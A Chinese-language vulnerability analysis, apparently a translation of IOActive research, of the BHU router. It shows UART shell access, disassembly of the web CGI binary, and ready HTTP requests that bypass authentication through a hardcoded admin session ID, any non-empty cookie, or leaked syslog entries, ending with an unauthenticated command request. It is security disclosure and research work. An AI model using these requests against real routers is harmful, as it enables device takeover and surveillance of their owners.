必虎路由器大量高危漏洞分析

前言

这件事情还得从几个月前说起。有一名叫做Tao Sauvage的老外开开心心的来中国旅游。想着得带点中国的土特产回去，选了半天，选中了一款叫做必虎的无线路由器。

看着这个超低的价格和完美的做工，这个老外感觉自己赚大发了，简直是天赐礼物！249！买不了吃亏！249！买不了上当！必虎的英文翻译叫做“Tiger Will Power”，我擦！叼炸天的名字啊！虎之力路由器！感觉身体被掏空！但是因为是国产路由器，谷歌翻译也不准确，他也不懂中文。

怎么办呢？把路由器拆开研究一下看看吧！橙色的地方可以插入一个SD卡，而红色的地方是UART引脚。故事（漏洞），就是从这里开始的，然后以下的“他”将由第一人称来叙述。

提取路由器固件

废话不多说，直接拿BusPirate连接上这些引脚再说！

开启设备后查看自己的终端，返回了以下信息。

它说按下任意键继续。好吧，这个我随便按了键，然后看到了菜单设置。

##################################

#   BHU Device bootloader menu   #

##################################

[1(t)] Upgrade firmware with tftp //通过tftp对固件进行升级

[2(h)] Upgrade firmware with httpd //通过httpd对固件进行升级

[3(a)] Config device aerver IP Address //设置设备服务器的IP地址

[4(i)] Print device infomation //打印设备信息

[5(d)] Device test //设备测试

[6(l)] License manager //许可证管理

[0(r)] Redevice //控制器

[ (c)] Enter to commad line (2) //按下c查看其它命令

先按下C发现它用的是U-boot，那么可以对其bootargs参数进行设置，这样就不再局限于init程序内了。

Please input cmd key:

CMD> printenv bootargs

bootargs=board=Urouter console=ttyS0,115200 root=31:03 rootfstype=squashfs,jffs2 init=/sbin/init(3) mtdparts=ath-nor0:256k(u-boot),64k(u-boot-env),1408k(kernel),8448k(rootfs),1408k(kernel2),1664k(rescure),2944kr),64k(cfg),64k(oem),64k(ART)

CMD> setenv bootargs board=Urouter console=ttyS0,115200 rw rootfstype=squashfs,jffs2 init=/bin/sh(4) mtdparts=ath-nor0:256k(u-boot),64k(u-boot-env),1408k(kernel),8448k(rootfs),1408k(kernel2),1664k(rescure),2944kr),64k(cfg),64k(oem),64k(ART)

CMD> boot

然后再使用printenv命令查看了U-boot的基本设置情况，然后发现只要引导顺序完成，就会运行“/sbin/init”，而这个二进制文件主要负责初始化路由器的Linux系统的。我们使用setenv命令把‘/sbin/init’ 和 ‘/bin/sh’替换一下，要不然是没有办法访问系统文件的。然后

BusyBox v1.19.4 (2015-09-05 12:01:45 CST) built-in shell (ash)

Enter 'help' for a list of built-in commands.

# ls

version  upgrade  sbin     proc     mnt      init     dev

var      tmp      root     overlay  linuxrc  home     bin

usr      sys      rom      opt      lib      etc

千辛万苦，现在我已经可以通过shell命令访问路由器，并且提取固件。接下来我可以分析必虎路由器的通用网关接口和WEB界面了。当然，有很多种方式可以提取这个路由器的固件，我采用的是修改U-Boot参数开启网络，把全部的文件复制到我的电脑上。感兴趣的朋友可以看看这篇文章：《LinuxBootArgs》

逆向分析

现在我需要对这些文件进行整理。首先，我得知道哪些文件是属于web管理接口的，而下面这个是路由器的初始设置。

# cat /etc/rc.d/rc.local

/* [omitted] */

mongoose -listening_ports 80 &

/* [omitted] */

这个Mongoose程序开启了80端口，很熟悉的端口啊！估计这个程序就是必虎路由器的WEB服务器程序了。功夫不负有心人，我还是找到了这个WEB程序的相关文档：《mongoose》。根据文档所示，Mongoose会把WEB目录下的所有文件解析为.cgi后缀。如下面所示。

# ls -al /usr/share/www/cgi-bin/

-rwxrwxr-x    1     29792 cgiSrv.cgi

-rwxrwxr-x    1     16260 cgiPage.cgi

drwxr-xr-x    2         0 ..

drwxrwxr-x    2        52 .

这个路由器的WEB界面主要依赖于两个非常重要的文件。

cgiPage.cgi：这个文件主要是负责控制面板内的页面排序功能

cgiSrv.cgi：这个文件主要是负责后台管理的各个组件的功能

cgiSrv.cgi这个文件是最有意思的，它可以对路由器所有的设置进行更新，所以我打算先从它开始下手。

$ file cgiSrv.cgi

cgiSrv.cgi: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked (uses shared libs), stripped

我使用IDA对其进行逆向分析。虽然这个文件已经剥离了所有的调试符合，包括函数名之类的，但是从main函数开始，这个文件变的有意思起来。

LOAD:00403C48  # int __cdecl main(int argc, const char **argv, const char **envp)

LOAD:00403C48                 .globl main

LOAD:00403C48 main:                                    # DATA XREF: _ftext+18|o

/* [omitted] */

LOAD:00403CE0                 la      $t9, getenv

LOAD:00403CE4                 nop

                          (6) # 检索请求方式

LOAD:00403CE8                 jalr    $t9 ; getenv

                          (7) # arg0 = “REQUEST_METHOD”

LOAD:00403CEC                 addiu   $a0, $s0, (aRequest_method - 0x400000)  # "REQUEST_METHOD"

LOAD:00403CF0                 lw      $gp, 0x20+var_10($sp)

LOAD:00403CF4                 lui     $a1, 0x40

                          (8) # arg0 = getenv(“REQUEST_METHOD”)

LOAD:00403CF8                 move    $a0, $v0

LOAD:00403CFC                 la      $t9, strcmp

LOAD:00403D00                 nop

                          (9) # 检查请求方式是否为POST

LOAD:00403D04                 jalr    $t9 ; strcmp

                          (10) # arg1 = “POST”

LOAD:00403D08                 la      $a1, aPost       # "POST"

LOAD:00403D0C                 lw      $gp, 0x20+var_10($sp)

                          (11) # 如果请求方式不是POST就进行跳转
LOAD:00403D10                 bnez    $v0, loc_not_post

LOAD:00403D14                 nop

                          (12) # 如果请求方式是POST就调用handle_post

LOAD:00403D18                 jal     handle_post

LOAD:00403D1C                 nop

/* [omitted] */

同样的逻辑也试用于GET类型的请求。如果收到了GET类型的请求，那么会调用相关的函数，并且重命名为handle_get。让我们一起来看看handle_get函数部分。

上面这个模块流程图主要展示了程序内的“if {} else if {} else {}”判断流程。每个函数部分都会检查数据包是否是GET类型的。我们先来看看A模块吧。

/* [omitted] */

LOAD:00403B3C loc_403B3C:                              # CODE XREF: handle_get+DC|j

LOAD:00403B3C                 la      $t9, find_val

                          (13) # arg1 = “file”

LOAD:00403B40                 la      $a1, aFile       # "file"

                          (14) # 在URL内检索“file”参数的value

LOAD:00403B48                 jalr    $t9 ; find_val

                          (15) # arg0 = url

LOAD:00403B4C                 move    $a0, $s2  # s2 = URL

LOAD:00403B50                 lw      $gp, 0x130+var_120($sp)

                          (16) # 如果没有“?file=”参数，那么就跳转其他页面

LOAD:00403B54                 beqz    $v0, loc_not_file_op

LOAD:00403B58                 move    $s0, $v0

                          (17) # 如果有“file”，那么调用handler

LOAD:00403B5C                 jal     get_file_handler

LOAD:00403B60                 move    $a0, $v0

在A模块，handler_get函数会先检查在URL内的file参数，并且调用find_val，如果file参数出现在URL内，那么该函数会调用get_file_handler。

LOAD:00401210 get_file_handler:                        # CODE XREF: handle_get+140|p

/* [omitted] */

LOAD:004012B8 loc_4012B8:                              # CODE XREF: get_file_handler+98j

LOAD:004012B8                 lui     $s0, 0x41

LOAD:004012BC                 la      $t9, strcmp

                          (18) # arg0 = “file”参数的值

LOAD:004012C0                 addiu   $a1, $sp, 0x60+var_48

                          (19) # arg1 = “syslog”

LOAD:004012C4                 lw      $a0, file_syslog  # "syslog"

LOAD:004012C8                 addu    $v0, $a1, $v1

                          (20) # 文件的值是否是 “syslog”?

LOAD:004012CC                 jalr    $t9 ; strcmp

LOAD:004012D0                 sb      $zero, 0($v0)

LOAD:004012D4                 lw      $gp, 0x60+var_50($sp)

                          (21) # Jump if value of “file” != “syslog” （如果file参数的值不是syslog，那么就jump）

LOAD:004012D8                 bnez    $v0, loc_not_syslog

LOAD:004012DC                 addiu   $v0, $s0, (file_syslog - 0x410000)

                          (22) # Return “/var/syslog” if “syslog” （如果是syslog，那么就读取/var/syslog文件）

LOAD:004012E0                 lw      $v0, (path_syslog - 0x416500)($v0)  # "/var/syslog"

LOAD:004012E4                 b     

loc_4012F0 LOAD:004012E8                 nop

LOAD:004012EC  # ---------------------------------------------------------------------------

LOAD:004012EC LOAD:004012EC loc_4012EC:                              # CODE XREF: get_file_handler+C8|j

                          (23) # 其它情况返回NULL（空值）

LOAD:004012EC                 move    $v0, $zero

上面这个函数主要是说明，如果file参数的值是syslog，那么就会读取var目录下的syslog文件。我花了点时间对于这个页面的参数进行了一些分析得出以下结论：

1. page=[<html页面的名称>]

参数值末端都以.html结尾

打开文件，并且返回值

我尝试过去读取其它文件，但是没用，它只能读取HTML文件

2.xml=[<配置名称>]

访问配置名称

XML类型的值

3.file=[syslog]

访问/var/syslog文件

打开文件并且返回内容

4. cmd=[system_ready]

可以返回管理员密码的第一个和最后一个明文信息，可以提升暴力破解的成功率。

该漏洞还有30秒到达战场

我比较在意的是“file”参数。一般调用系统文件都需要二次验证的，比如cookie，ssid之类的，而且系统日志大部分都有脱敏，不会保留什么敏感信息，但是事实呢？

我于是尝试构造了一个请求。

GET /cgi-bin/cgiSrv.cgi?file=[syslog] HTTP/1.1

Host: 192.168.62.1

X-Requested-With: XMLHttpRequest

Connection: close

返回的数据包：

HTTP/1.1 200 OK

Content-type: text/plain

Jan  1 00:00:09 BHU syslog.info syslogd started: BusyBox v1.19.4

Jan  1 00:00:09 BHU user.notice kernel: klogger started!

Jan  1 00:00:09 BHU user.notice kernel: Linux version 2.6.31-BHU (yetao@BHURD-Software) (gcc version 4.3.3 (GCC) ) #1 Thu Aug 20 17:02:43 CST 201

/* [omitted] */

Jan  1 00:00:11 BHU local0.err dms[549]: Admin:dms:3 sid:700000000000000 id:0 login

/* [omitted] */

Jan  1 08:02:19 HOSTNAME local0.warn dms[549]: User:admin sid:2jggvfsjkyseala index:3 login 

居然包含了管理员的cookie，sid等信息。但是，或许这个cookie是历史cookie，没办法继续使用，你不信？那么我给你演示一下。我用这个cookie带入了一个路由器重启界面，然后，路由器居然重启了？？！！

但是这个漏洞利用起来还是有一些缺陷，假设管理员没登陆过系统，或者把登陆记录清楚了，那么怎么办呢？注意看上面的数据包，它还返回了一个sid:700000000000000。我初步看了一下，所有的必虎路由器的管理员SID都是700000000000000，并且管理员都没有办法更改它。那么我们可否把SID当作cookie来用？答案是可以的，如下图所示。

该漏洞已经大杀特杀

虽然我们已经有管理员权限了，但是我们继续看看还有什么可以利用的地方。我继续使用IDA检查了POST的函数处理模块，然而它似乎比GET类型的函数模块更加可怕。

我把这些if模块又分成了A，B，C三个模块，让我们先看看A模块吧。

LOAD:00403424                 la      $t9, cgi_input_parse

LOAD:00403428                 nop

                          (24) # 调用 cgi_input_parse()

LOAD:0040342C                 jalr    $t9 ; cgi_input_parse

LOAD:00403430                 nop

LOAD:00403434                 lw      $gp, 0x658+var_640($sp)

                          (25) # arg1 = “op”

LOAD:00403438                 la      $a1, aOp         # "op"

LOAD:00403440                 la      $t9, find_val

                          (26) # arg0 = request的Body部分

LOAD:00403444                 move    $a0, $v0

                          (27) # 得到“op”参数的值

LOAD:00403448                 jalr    $t9 ; find_val

LOAD:0040344C                 move    $s1, $v0

LOAD:00403450                 move    $s0, $v0

LOAD:00403454                 lw      $gp, 0x658+var_640($sp)

                          (28) # 如果没有“op”参数,那么就退出

LOAD:00403458                 beqz    $s0, b_exit

这个模块会对POST请求进行解析，并且调用cgi_input_parse()。，并且在（25）部分尝试提取参数op的值。而op的值主要是通过find_val函数调用body的部分得到的。如果op有值，就进行到B模块，否则就执行退出。那么我们再来看看B模块的逆向。

LOAD:004036B4                 la      $t9, strcmp

                          (29) # arg1 = “reboot”

LOAD:004036B8                 la      $a1, aReboot     # "reboot"

                          (30) # “op” 的值是否是“reboot”?

LOAD:004036C0                 jalr    $t9 ; strcmp

                          (31) # arg0 = body[“op”]

LOAD:004036C4                 move    $a0, $s0

LOAD:004036C8                 lw      $gp, 0x658+var_640($sp)

LOAD:004036CC                 bnez    $v0, loc_403718

LOAD:004036D0                 lui     $s2, 0x40

这里主要说明，如果op参数的值是reboot，那么会继续到C模块。

(32) # 检查cookie中的SID值

LOAD:004036D4                 jal     get_cookie_sid

LOAD:004036D8                 nop

LOAD:004036DC                 lw      $gp, 0x658+var_640($sp)

 (33) # SID的Cookie将作为dml_dms_ucmd的第一个参数传递

LOAD:004036E0                 move    $a0, $v0

LOAD:004036E4                 li      $a1, 1

LOAD:004036E8                 la      $t9, dml_dms_ucmd

LOAD:004036EC                 li      $a2, 3

LOAD:004036F0                 move    $a3, $zero

 (34) # 分发任务给dml_dms_ucmd

LOAD:004036F4                 jalr    $t9 ; dml_dms_ucmd

LOAD:004036F8                 nop

首先，它会先调用一个函数，我把它叫做get_cookie_sid（32部分），然后再把值赋予给dml_dms_ucmd（33部分），然后再调用它（34部分）。随后又会进行到下一步。

(35) # 在v1参数内保存返回的值

LOAD:004036FC                 move    $v1, $v0

LOAD:00403700                 li      $v0, 0xFFFFFFFE

LOAD:00403704                 lw      $gp, 0x658+var_640($sp)

(36) # Is v1 != 0xFFFFFFFE? （v1是否不等于0xFFFFFFFE？）

LOAD:00403708                 bne     $v1, $v0, loc_403774

LOAD:0040370C                 lui     $a0, 0x40

(37) # If v1 == 0xFFFFFFFE jump to error message （如果v1等于0xFFFFFFFE，那么就跳转到错误信息）

LOAD:00403710                 b       loc_need_login

LOAD:00403714                 nop

/* [omitted] */

LOAD:00403888 loc_need_login:                              # CODE XREF: handle_post+9CC|j

LOAD:00403888                 la      $t9, mime_header

LOAD:0040388C                 nop

LOAD:00403890                 jalr    $t9 ; mime_header

LOAD:00403894                 addiu   $a0, (aTextXml - 0x400000)  # "text/xml"

LOAD:00403898                 lw      $gp, 0x658+var_640($sp)

LOAD:0040389C                 lui     $a0, 0x40

(38) # 输出错误信息“need_login”

LOAD:004038A0                 la      $t9, printf LOAD:004038A4       b       loc_4038D0

LOAD:004038A8                 la      $a0, aReturnItemResu  # "<return>
	<ITEM result="need_login""...

但是假设我们不带入然后值到v1参数（即SID为NULL），那么会怎么样呢？我于是尝试了一下。

然后我分析了一下这整个程序的逻辑：

1.收到op参数

2.调用get_cookie_sid

3.调用dms_dms_ucmd

虽然在GET模块，这个指令应该会执行的，但是在POST的过程中始终会验证SID，这个就有点蛋疼了。

怎么绕过去呢？继续分析get_cookie_sid函数模块。

LOAD:004018C4 get_cookie_sid:                          # CODE XREF: get_xml_handle+20|p

/* [omitted] */

LOAD:004018DC                 la      $t9, getenv

LOAD:004018E0                 lui     $a0, 0x40

                          (39) # 得到HTTP cookies

LOAD:004018E4                 jalr    $t9 ; getenv

LOAD:004018E8                 la      $a0, aHttp_cookie  # "HTTP_COOKIE"

LOAD:004018EC                 lw      $gp, 0x20+var_10($sp)

LOAD:004018F0                 beqz    $v0, failed

LOAD:004018F4                 lui     $a1, 0x40

LOAD:004018F8                 la      $t9, strstr

LOAD:004018FC                 move    $a0, $v0

                          (40) # cookie中是否包含“sid=”?

LOAD:00401900                 jalr    $t9 ; strstr

LOAD:00401904                 la      $a1, aSid        # "sid="

LOAD:00401908                 lw      $gp, 0x20+var_10($sp)

LOAD:0040190C                 beqz    $v0, failed

LOAD:00401910                 move    $v1, $v0

/* [omitted] */

LOAD:00401954 loc_401954:                              # CODE XREF: get_cookie_sid+6C|j

LOAD:00401954                 addiu   $s0, (session_buffer - 0x410000)

LOAD:00401958

LOAD:00401958 loc_401958:                              # CODE XREF: get_cookie_sid+74|j

LOAD:00401958                 la      $t9, strncpy

LOAD:0040195C                 addu    $v0, $a2, $s0

LOAD:00401960                 sb      $zero, 0($v0)

                          (41) # 在“session_buffer”中复制cookie的值

LOAD:00401964                 jalr    $t9 ; strncpy

LOAD:00401968                 move    $a0, $s0

LOAD:0040196C                 lw      $gp, 0x20+var_10($sp)

LOAD:00401970                 b       loc_40197C

                          (42) # 把这个值赋予cookie

LOAD:00401974                 move    $v0, $s0

get_session_cookie在得到一个请求后，会检查cookie中是否有sid=这个字符集。如果有，那么某处全局变量将会赋值一个cookie给该参数。当调用dml_dms_ucmd时，返回的值都会用作于第一个参数，而这一切都是在libdml.so函数库中实现。那么也就是说，对于cookie的效验都是在这个库中进行的，那么让我们来看一下这个库。

.text:0003B368 .text:0003B368                 .globl dml_dms_ucmd

.text:0003B368 dml_dms_ucmd:

.text:0003B368

/* [omitted] */

.text:0003B3A0                 move    $s3, $a0

.text:0003B3A4                 beqz    $v0, loc_3B71C

.text:0003B3A8                 move    $s4, $a3

                           (43) # 记住 a0 = SID cookie的值

                               # 或者可以说是，如果a0什么都不包含（NULL），那么s1 = 0xFFFFFFFE

.text:0003B3AC                 beqz    $a0, loc_exit_function

.text:0003B3B0                 li      $s1, 0xFFFFFFFE

/* [omitted] */

.text:0003B720 loc_exit_function:                           # CODE XREF: dml_dms_ucmd+44|j

.text:0003B720                                          # dml_dms_ucmd+390|j ...

.text:0003B720                 lw      $ra, 0x40+var_4($sp)

                           (44) # 返回 s1 (s1 = 0xFFFFFFFE)

.text:0003B724                 move    $v0, $s1

/* [omitted] */

.text:0003B73C                 jr      $ra

.text:0003B740                 addiu   $sp, 0x40

.text:0003B740  # End of function dml_dms_ucmd

只要我第一个参数不要带入空（NULL），那么就不会返回0xFFFFFFFE(-2)。也就是说我cookie随便填写一个都可以成为管理员？！

好吧，我随便写了个cookie，然后进行重启，依然生效了。。。。。花费那么长时间，居然发现cookie可以随意设定！但是一切都是值得的，我起码知道这个问题出在哪里了。

漏洞已经跑到对方血池大杀特杀了

我简单整理了一下前面的工作，然后总结出以下方法可以得到管理员权限：

1. SID写任意字符，只要不为空就行。

2. 查看系统日志得到管理员的cookie

3. SID的值为700000000000000即可

我们现在已经知道了POST模块的处理过程和op参数的基本逻辑，但是这个模块还可以处理一些XML请求，让我们对它继续分析下去。

/* [omitted] */

LOAD:00402E2C                 addiu   $a0, $s2, (aContent_type - 0x400000)  # "CONTENT_TYPE"

LOAD:00402E30                 la      $t9, getenv

LOAD:00402E34                 nop

                          (45) # 收到“CONTENT_TYPE”的请求

LOAD:00402E38                 jalr    $t9 ; getenv

LOAD:00402E3C                 lui     $s0, 0x40

LOAD:00402E40                 lw      $gp, 0x658+var_640($sp)

LOAD:00402E44                 move    $a0, $v0

LOAD:00402E48                 la      $t9, strstr

LOAD:00402E4C                 nop

                          (46) # 是否属于“text/xml” 请求?

LOAD:00402E50                 jalr    $t9 ; strstr

LOAD:00402E54                 addiu   $a1, $s0, (aTextXml - 0x400000)  # "text/xml"

LOAD:00402E58                 lw      $gp, 0x658+var_640($sp)

LOAD:00402E5C                 beqz    $v0, b_content_type_specified

/* [omitted] */

                          (47) # 得到SID cookie的值

LOAD:00402F88                 jal     get_cookie_sid

LOAD:00402F8C                 and     $s0, $v0

LOAD:00402F90                 lw      $gp, 0x658+var_640($sp)

LOAD:00402F94                 move    $a1, $s0

LOAD:00402F98                 sw      $s1, 0x658+var_648($sp)

LOAD:00402F9C                 la      $t9, dml_dms_uxml

LOAD:00402FA0                 move    $a0, $v0

LOAD:00402FA4                 move    $a2, $s3

                          (48) # 调用‘dml_dms_uxml’函数模块, 并且对body部分和cookie进行效验

LOAD:00402FA8                 jalr    $t9 ; dml_dms_uxml

LOAD:00402FAC                 move    $a3, $s2

继续往下看，貌似dml_dms_uxml比dml_dms_ucmd更加奇葩。

.text:0003AFF8                 .globl dml_dms_uget_xml

.text:0003AFF8 dml_dms_uget_xml:

/* [omitted] */

                           (49) # 把SID的值复制到s1内

.text:0003B030                 move    $s1, $a0

.text:0003B034                 beqz    $a2, loc_3B33C

.text:0003B038                 move    $s5, $a3

                           (50) # 如果SID的值为空（NULL）

.text:0003B03C                 bnez    $a0, loc_3B050

.text:0003B040                 nop

.text:0003B044                 la      $v0, unk_170000

.text:0003B048                 nop

                           (51) # 那么就把空的SID值替换为一个硬件编码（700000000000000）

.text:0003B04C                 addiu   $s1, $v0, (a70000000000000 - 0x170000)  # "700000000000000"

/* [omitted] */

这个逻辑的感觉就好像是，如果你的没有钱买东西，那么我会给你钱去消费。OMG！真TM人性化的设计！总的来说，如果要使用这个功能，cookie可以直接为空。那么可以构造数据包如下：

POST /cgi-bin/cgiSrv.cgi HTTP/1.1

Host: 192.168.62.1

Content-Type: text/xml

X-Requested-With: XMLHttpRequest

Content-Length: 59

Connection: close

<cmd>

<ITEM cmd="traceroute" addr="127.0.0.1" />

</cmd> 

继续研究发现还可以命令执行：

这个路由器就像个定时炸弹一样，搞一台在家里面可能莫名其妙的就被人家装上后门监听着了。

* 参考来源：ioactive